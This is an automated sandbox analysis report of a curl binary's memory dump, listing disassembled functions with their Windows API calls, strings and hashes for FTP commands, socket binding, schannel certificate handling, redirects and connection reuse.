String ID: (memory blob)$Microsoft Unified Security Protocol Provider$P12$Unable to set ciphers to passed via SSL_CONN_CONFIG$schannel: AcquireCredentialsHandle failed: %s$schannel: Failed to get certificate from file %s, last error is 0x%x$schannel: Failed to get certificate location or file for %s$schannel: Failed to import cert file %s, last error is 0x%x$schannel: Failed to import cert file %s, password is bad$schannel: Failed to open cert store %x %s, last error is 0x%x$schannel: Failed to read cert file %s$schannel: certificate format compatibility error for %s$schannel: unable to allocate memory
API String ID: 2859572553-531812395
Opcode ID: 6aa58f004739b5bb0d9723172c25b2b4a3a4ab3ef74c3cabd4f7d3b752affb8a
Instruction ID: a214b434ac7b9b82911cbe55a732564879488368a1b51e298629cb55d3ceb4c1
Opcode Fuzzy Hash: 6aa58f004739b5bb0d9723172c25b2b4a3a4ab3ef74c3cabd4f7d3b752affb8a
Instruction Fuzzy Hash: 8E02A471A4061ADBEF209B64DC84BEE77B8FF46714F1441A9E909E7641DBB09E808F90

Function 0089A8D8 Relevance: 67.1, APIs: 24, Strings: 14, Instructions: 608networkstringCOMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0089A997
___from_strstr_to_strchr.LIBCMT ref: 0089A9B5
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 0089AA1F
___from_strstr_to_strchr.LIBCMT ref: 0089AA33
strtoul.API-MS-WIN-CRT-CONVERT-L1-1-0(00000001,00000000,0000000A), ref: 0089AA4B
___from_strstr_to_strchr.LIBCMT ref: 0089AA5A
strtoul.API-MS-WIN-CRT-CONVERT-L1-1-0(00000001,00000000,0000000A), ref: 0089AA6B
getsockname.WS2_32(?,?,?), ref: 0089AB16
WSAGetLastError.WS2_32 ref: 0089AB21
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0089ABEA
WSAGetLastError.WS2_32 ref: 0089AC18
htons.WS2_32(?), ref: 0089AC95
bind.WS2_32(000000FF,?,00000080), ref: 0089ACB3
WSAGetLastError.WS2_32 ref: 0089ACC1
getsockname.WS2_32(?,?,00000080), ref: 0089AD1D
WSAGetLastError.WS2_32 ref: 0089AD53

Part of subcall function 0087A0B8: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 0087A0C3
Part of subcall function 0087A0B8: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0087A0CB
Part of subcall function 0087A0B8: __sys_nerr.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0087A0DD
Part of subcall function 0087A0B8: __sys_errlist.API-MS-WIN-CRT-RUNTIME-L1-1-0(000000FF), ref: 0087A0EC
Part of subcall function 0087A0B8: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 0087A0F6
Part of subcall function 0087A0B8: _strrchr.LIBCMT ref: 0087A142
Part of subcall function 0087A0B8: _strrchr.LIBCMT ref: 0087A15C
Part of subcall function 0087A0B8: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0087A173
Part of subcall function 0087A0B8: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0087A180
Part of subcall function 0087A0B8: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 0087A188
Part of subcall function 0087A0B8: SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000), ref: 0087A193

Part of subcall function 0087F3FC: closesocket.WS2_32(00881EF4), ref: 0087F433

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0089B090

Strings

Failure sending EPRT command: %s, xrefs: 0089AFE9
getsockname() failed: %s, xrefs: 0089AB36, 0089AD68, 0089AE06
bind(port=%hu) on non-local address failed: %s, xrefs: 0089ACEB
bind() failed, we ran out of ports, xrefs: 0089B04F
%s %s, xrefs: 0089AF5F
failed to resolve the address provided to PORT: %s, xrefs: 0089B073
socket failure: %s, xrefs: 0089AC3B, 0089AE3F
bind(port=%hu) failed: %s, xrefs: 0089AD99
%s |%d|%s|%hu|, xrefs: 0089AFC2
,%d,%d, xrefs: 0089AF43
EPRT, xrefs: 0089AFBD
,, xrefs: 0089AF0D
PORT, xrefs: 0089AF5A
Failure sending PORT command: %s, xrefs: 0089AF8A

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: ErrorLast$___from_strstr_to_strchr_errno$_strrchrfreegetsocknamestrncpystrtoul$__sys_errlist__sys_nerrbindcallocclosesockethtons
String ID: %s %s$%s |%d|%s|%hu|$,$,%d,%d$EPRT$Failure sending EPRT command: %s$Failure sending PORT command: %s$PORT$bind() failed, we ran out of ports$bind(port=%hu) failed: %s$bind(port=%hu) on non-local address failed: %s$failed to resolve the address provided to PORT: %s$getsockname() failed: %s$socket failure: %s
API String ID: 2930231303-3103743990
Opcode ID: f33c4006733b9997d64bfaf4235e17d081c01d06d69343361aec60d8a1c53569
Instruction ID: 677730cf5dd4e7eb24874ee7cce9b5694d908109cb5f5d07088662b7a166dca3
Opcode Fuzzy Hash: f33c4006733b9997d64bfaf4235e17d081c01d06d69343361aec60d8a1c53569
Instruction Fuzzy Hash: 4F22FA70A006299FDF28AF24DC45BFE77B6FF84300F0841A9E449D7241DA758E948FA6

Function 0087DEDF Relevance: 35.3, APIs: 11, Strings: 9, Instructions: 278networkstringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(if!,?,00000003), ref: 0087DF9A
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(host!,?,00000005), ref: 0087DFC9
inet_pton.WS2_32(00000017,?,?), ref: 0087E0C2
inet_pton.WS2_32(00000002,?,?), ref: 0087E0EB
htons.WS2_32(?), ref: 0087E100
htons.WS2_32(?), ref: 0087E136
htons.WS2_32(?), ref: 0087E18A
bind.WS2_32(?,?,?), ref: 0087E1A5
getsockname.WS2_32(?,?,?), ref: 0087E1E0
WSAGetLastError.WS2_32 ref: 0087E1EA
WSAGetLastError.WS2_32 ref: 0087E21C

Strings

getsockname() failed with errno %d: %s, xrefs: 0087E209
Couldn't bind to '%s', xrefs: 0087E119
Local port: %hu, xrefs: 0087E246
host!, xrefs: 0087DFC4
Couldn't bind to interface '%s', xrefs: 0087DFAB
Name '%s' family %i resolved to '%s' family %i, xrefs: 0087E07D
if!, xrefs: 0087DF95
bind failed with errno %d: %s, xrefs: 0087E23B
Bind to local port %hu failed, trying next, xrefs: 0087E177

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: htons$ErrorLastinet_ptonstrncmp$bindgetsockname
String ID: Bind to local port %hu failed, trying next$Couldn't bind to '%s'$Couldn't bind to interface '%s'$Local port: %hu$Name '%s' family %i resolved to '%s' family %i$bind failed with errno %d: %s$getsockname() failed with errno %d: %s$host!$if!
API String ID: 2929934046-1901189404
Opcode ID: cd005f73786c2ae2619cdc95ca9d9f95411ec31c45b1be7b52a27b9c5eb303d3
Instruction ID: fd345025d349fba2398caa1440abd6f4f6837c1a23bfe9ee97756892e3374ac3
Opcode Fuzzy Hash: cd005f73786c2ae2619cdc95ca9d9f95411ec31c45b1be7b52a27b9c5eb303d3
Instruction Fuzzy Hash: 69A10571A04618ABDB209B24DC4AFEA77B8FF59304F1481D9F84DD7245EB70DE818BA1

Function 0088C1FD Relevance: 24.4, APIs: 8, Strings: 8, Instructions: 383COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0088C286
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0088C446
atoi.API-MS-WIN-CRT-CONVERT-L1-1-0(?), ref: 0088C453
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0088C46D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0088C4EB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0088C508
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0088C527
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0088C590

Strings

Maximum (%ld) redirects followed, xrefs: 0088C550
Issue another request to this URL: '%s', xrefs: 0088C597
Clear auth, redirects to port from %u to %u, xrefs: 0088C47C
HEAD, xrefs: 0088C607, 0088C61B
Switch to %s, xrefs: 0088C61C
Clear auth, redirects scheme from %s to %s, xrefs: 0088C4C8
Switch from POST to GET, xrefs: 0088C668
GET, xrefs: 0088C602

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free$atoi
String ID: Clear auth, redirects scheme from %s to %s$Clear auth, redirects to port from %u to %u$GET$HEAD$Issue another request to this URL: '%s'$Maximum (%ld) redirects followed$Switch from POST to GET$Switch to %s
API String ID: 2493182076-1748258277
Opcode ID: 1ac15c57bda17fb2094e592d27ebc4f88d585806c60067e5a4ecbcad7a4a691c
Instruction ID: a8e149cddbbffd4ae8ea3635e91c16490f9ef2bb6d9d7445ad9a3efce7fbcc38
Opcode Fuzzy Hash: 1ac15c57bda17fb2094e592d27ebc4f88d585806c60067e5a4ecbcad7a4a691c
Instruction Fuzzy Hash: 41D14931B44606AFEB18EB789881B7EB7A5FF55310F14822EE418D7385DF71AC5087A1

Function 008A699F Relevance: 24.2, APIs: 16, Instructions: 160networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000001,00000006), ref: 008A69C9
htonl.WS2_32(7F000001), ref: 008A69F0
setsockopt.WS2_32(00000000,0000FFFF,00000004,?,00000004), ref: 008A6A12
bind.WS2_32(00000000,?,00000010), ref: 008A6A27
getsockname.WS2_32(00000000,?,00000010), ref: 008A6A3E
listen.WS2_32(00000000,00000001), ref: 008A6A59
socket.WS2_32(00000002,00000001,00000000), ref: 008A6A6F
connect.WS2_32(00000000,?,00000010), ref: 008A6A86
ioctlsocket.WS2_32(00000000,8004667E,?), ref: 008A6AA5
accept.WS2_32(00000000,00000000,00000000), ref: 008A6AD6
getsockname.WS2_32(?,?,00000010), ref: 008A6AF4
getpeername.WS2_32(?,?,00000010), ref: 008A6B14
closesocket.WS2_32(00000000), ref: 008A6B41
closesocket.WS2_32(00000000), ref: 008A6B4C
closesocket.WS2_32(?), ref: 008A6B54
closesocket.WS2_32(?), ref: 008A6B5D

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: closesocket$getsocknamesocket$acceptbindconnectgetpeernamehtonlioctlsocketlistensetsockopt
String ID:
API String ID: 2616969812-0
Opcode ID: d6c2e8edf9becc9b68c46767346fe2fc5a5ad26bd9cd64336e5fc016b26716bb
Instruction ID: b41b235e84affd2fa34d2c8454c8b636ec25de5d893c7233716e4e4a71b50dbe
Opcode Fuzzy Hash: d6c2e8edf9becc9b68c46767346fe2fc5a5ad26bd9cd64336e5fc016b26716bb
Instruction Fuzzy Hash: 045182B1900609EFEB10AFA4DC89BEEBBB9FF09320F544525F601F6190E77059568B74

Function 008ACAA0 Relevance: 23.3, APIs: 8, Strings: 5, Instructions: 562COMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008ACB20
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008ACB42
realloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008ACB9C
___from_strstr_to_strchr.LIBCMT ref: 008ACD4F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008AD01D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008AD033

Strings

0123456789-, xrefs: 008ACD81
<DIR>, xrefs: 008ACCA0, 008ACCB7
APM0123456789:, xrefs: 008ACD4A
rwx-tTsS, xrefs: 008ACF11
total , xrefs: 008ACDF8

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free$___from_strstr_to_strchrcallocmallocrealloc
String ID: 0123456789-$<DIR>$APM0123456789:$rwx-tTsS$total
API String ID: 1091099985-2767756851
Opcode ID: 53264b3a520966f8a00b8ffa5952b1b9543f82bd3c34b6f8a9bbc8041651a407
Instruction ID: 792cdd11c3a84beca33e4dc1e6a469507758ff3025cdb0f8ed879db6dfd62aae
Opcode Fuzzy Hash: 53264b3a520966f8a00b8ffa5952b1b9543f82bd3c34b6f8a9bbc8041651a407
Instruction Fuzzy Hash: 99228570A05B069FE728CF29C544B21BBF1FB9A314F148619D066CBEA1E771F891CB85

Function 008AEC10 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 150encryptionCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000002,?,00000002,0000000E,00000000,00000000,?,00000000,00000000,00000000,?), ref: 008AECEF
CertAddCertificateContextToStore.CRYPT32(?,?,00000004,00000000), ref: 008AED23
CertFreeCertificateContext.CRYPT32(?), ref: 008AED31
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 008AED54

Strings

schannel: CA file '%s' is not correctly formatted, xrefs: 008AEDAC
-----END CERTIFICATE-----, xrefs: 008AEC96
schannel: failed to extract certificate from CA file '%s': %s, xrefs: 008AED96
-----BEGIN CERTIFICATE-----, xrefs: 008AEC65
schannel: did not add any certificates from CA file '%s', xrefs: 008AEDCF
schannel: unexpected content type '%d' when extracting certificate from CA file '%s', xrefs: 008AED78
schannel: failed to add certificate from CA file '%s' to certificate store: %s, xrefs: 008AED6A
schannel: added %d certificate(s) from CA file '%s', xrefs: 008AEDE5

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: CertCertificateContext$CryptErrorFreeLastObjectQueryStore
String ID: -----END CERTIFICATE-----$-----BEGIN CERTIFICATE-----$schannel: CA file '%s' is not correctly formatted$schannel: added %d certificate(s) from CA file '%s'$schannel: did not add any certificates from CA file '%s'$schannel: failed to add certificate from CA file '%s' to certificate store: %s$schannel: failed to extract certificate from CA file '%s': %s$schannel: unexpected content type '%d' when extracting certificate from CA file '%s'
API String ID: 854292303-665156428
Opcode ID: c65a9f8d42582cf6f727132a2ead87fa1537855833667222b9c847a784852bfb
Instruction ID: d13835fec776ed771593a563519ee46424c3c035c5ac0b7d38149b22382e324e
Opcode Fuzzy Hash: c65a9f8d42582cf6f727132a2ead87fa1537855833667222b9c847a784852bfb
Instruction Fuzzy Hash: 8A519671E0021C9BEB299B29CC46FEEB7B5FB49710F0445D9F509E6241DA708E818F91

Function 00874415 Relevance: 19.6, APIs: 6, Strings: 5, Instructions: 381stringCOMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,754C1980,00000001), ref: 0087461F
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0087462A
strtol.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,0000000A), ref: 0087463A
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00874645
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00874650
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0087465D

Strings

%31[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz], xrefs: 008744AF
0Lu@Ru@/Mu, xrefs: 0087461F, 0087462A, 00874645, 00874650, 0087465D
%02d:%02d%n, xrefs: 008745FF
%02d:%02d:%02d%n, xrefs: 008745D2
GMT, xrefs: 00874567

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: _errno$strtol
String ID: %02d:%02d%n$%02d:%02d:%02d%n$%31[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz]$0Lu@Ru@/Mu$GMT
API String ID: 3596500743-3127766582
Opcode ID: 610e06eb93866ebe7ce0a15dd94ed748c0a4c9a2de2dd3ed4b50ef9e441758f5
Instruction ID: e96644db7bcf6f44a598cd444153b10229fdbf65d7939d9daf9ae70e8d5ff31e
Opcode Fuzzy Hash: 610e06eb93866ebe7ce0a15dd94ed748c0a4c9a2de2dd3ed4b50ef9e441758f5
Instruction Fuzzy Hash: DAD16071E012189FCB14CFB8D8806ADB7B6FB4A364F25932AE529E7298D730DD418B51

Function 008AF02B Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 162encryptionCOMMON

Download Yara Rule

APIs

Part of subcall function 00870B38: GetModuleHandleA.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(ntdll,RtlVerifyVersionInfo), ref: 00870B6D
Part of subcall function 00870B38: GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(00000000), ref: 00870B74

CertGetNameStringA.CRYPT32(?,00000006,00010002,00000000,?,000001B8), ref: 008AF073

Strings

2.5.29.17, xrefs: 008AF0C9, 008AF0FD
schannel: Null certificate context., xrefs: 008AF0A3
schannel: Null certificate info., xrefs: 008AF0BC
schannel: CertFindExtension() returned no extension., xrefs: 008AF0D8
schannel: CryptDecodeObjectEx() returned no alternate name information., xrefs: 008AF111
schannel: Not enough memory to list all host names., xrefs: 008AF1C3
schannel: Empty DNS name., xrefs: 008AF13E

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: AddressCertHandleModuleNameProcString
String ID: 2.5.29.17$schannel: CertFindExtension() returned no extension.$schannel: CryptDecodeObjectEx() returned no alternate name information.$schannel: Empty DNS name.$schannel: Not enough memory to list all host names.$schannel: Null certificate context.$schannel: Null certificate info.
API String ID: 4138448956-2160583098
Opcode ID: 189b19d985f96cb254d0f5d2dd359c6f90b078e47a9f64bafdd75263b774fe8c
Instruction ID: 9c42a0a52ecc418c37f925815106f84f35e26f771c58fe4311d569dedbbf9b07
Opcode Fuzzy Hash: 189b19d985f96cb254d0f5d2dd359c6f90b078e47a9f64bafdd75263b774fe8c
Instruction Fuzzy Hash: 2951D331A00205EEEB15DFA4C881FAEBBF5FF49704F10C069E619EB642E7758942CB90

Function 0086E127 Relevance: 17.6, APIs: 2, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 0086E18F
__aulldiv.LIBCMT ref: 0086E1DF

Strings

%4I64dP, xrefs: 0086E23E
%2I64d.%0I64dM, xrefs: 0086E19F
%4I64dG, xrefs: 0086E218
%4I64dM, xrefs: 0086E1BE
%4I64dk, xrefs: 0086E168
%5I64d, xrefs: 0086E147
%4I64dT, xrefs: 0086E232
%2I64d.%0I64dG, xrefs: 0086E1EF

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: __aulldiv
String ID: %2I64d.%0I64dG$%2I64d.%0I64dM$%4I64dG$%4I64dM$%4I64dP$%4I64dT$%4I64dk$%5I64d
API String ID: 3732870572-2102732564
Opcode ID: 83630a785ce3910b6f5f40de95ca59cc5d0763e3621828b89fb3c0859c245b86
Instruction ID: 8e62aa4d63362d658b8f46c25b99be14c0d6493908b88cc226943826d7a8c4d4
Opcode Fuzzy Hash: 83630a785ce3910b6f5f40de95ca59cc5d0763e3621828b89fb3c0859c245b86
Instruction Fuzzy Hash: 3C31C47BE4152975E938140DDC5AE9B641FF783B6AF17012AFC29F338294B49C4090F2

Function 008825B8 Relevance: 14.4, Strings: 11, Instructions: 633COMMON

Download Yara Rule

Strings

Server doesn't support multiplex (yet), xrefs: 008826D2
Multiplexed connection found, xrefs: 00882DD7
Found bundle for host: %p [%s], xrefs: 0088267F
Connection #%ld isn't open enough, can't reuse, xrefs: 008827D4
Server doesn't support multiplex yet, wait, xrefs: 008826A6
Can not multiplex, even if we wanted to, xrefs: 00882712
serially, xrefs: 00882670
Connection #%ld is still name resolving, can't reuse, xrefs: 008827B4
can multiplex, xrefs: 00882675, 0088267D
Could multiplex, but not asked to, xrefs: 008826FA
Found pending candidate for reuse and CURLOPT_PIPEWAIT is set, xrefs: 00882E09

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID:
String ID: Can not multiplex, even if we wanted to$Connection #%ld is still name resolving, can't reuse$Connection #%ld isn't open enough, can't reuse$Could multiplex, but not asked to$Found bundle for host: %p [%s]$Found pending candidate for reuse and CURLOPT_PIPEWAIT is set$Multiplexed connection found$Server doesn't support multiplex (yet)$Server doesn't support multiplex yet, wait$can multiplex$serially
API String ID: 0-1297456373
Opcode ID: 350437a3d564a8d418c6f72f489dbdfe69e40d56afcb1a4240512ff36f20fbf8
Instruction ID: 007f87fabcc6dfdbd517cfef8c507759a674c8dac69050587d400f9d441f3c09
Opcode Fuzzy Hash: 350437a3d564a8d418c6f72f489dbdfe69e40d56afcb1a4240512ff36f20fbf8
Instruction Fuzzy Hash: 3732E334A047858BDF66FF358590BFA7BA2FF62304F1884A9C889DB242D731AC85C751

Function 00898490 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 129networkCOMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008984DB
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0089854E
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00898580
bind.WS2_32(?,00000030,?), ref: 008985FC
WSAGetLastError.WS2_32 ref: 00898607

Strings

bind() failed; %s, xrefs: 0089861B

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: calloc$ErrorLastbind
String ID: bind() failed; %s
API String ID: 2604820300-1141498939
Opcode ID: 84f26ba913894019fd53b3800791d202245f14466c6add4ac160616eff3caff0
Instruction ID: 6b00b815d6d368a2d51df71f8f861d5f8b420f8044884309a653e3b7767c04ea
Opcode Fuzzy Hash: 84f26ba913894019fd53b3800791d202245f14466c6add4ac160616eff3caff0
Instruction Fuzzy Hash: EF517D7460460ADFEF18DF28C849BD9B7A0FF55710F1841A9E909DB392DBB0A984CF91

Function 008A6591 Relevance: 10.6, APIs: 7, Instructions: 78encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000018,F0000040), ref: 008A65D2
CryptCreateHash.ADVAPI32(?,0000800C,00000000,00000000,?), ref: 008A65EC
CryptHashData.ADVAPI32(?,?,?,00000000), ref: 008A65FD
CryptGetHashParam.ADVAPI32(?,00000004,?,00000004,00000000,?,?,00000000), ref: 008A6616
CryptGetHashParam.ADVAPI32(?,00000002,?,?,00000000,?,?,00000000), ref: 008A6633
CryptDestroyHash.ADVAPI32(00000000), ref: 008A6642
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 008A6653

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: Crypt$Hash$ContextParam$AcquireCreateDataDestroyRelease
String ID:
API String ID: 3606780921-0
Opcode ID: 28b9a3cbbb360ba6b0e8bad76bed270c63361f19a132fbe1f319cc1954c8a13e
Instruction ID: 64298e8fab39fe0a9781677de53748d67a3c0afbe26e817f2f8a80aa7a9b1d4a
Opcode Fuzzy Hash: 28b9a3cbbb360ba6b0e8bad76bed270c63361f19a132fbe1f319cc1954c8a13e
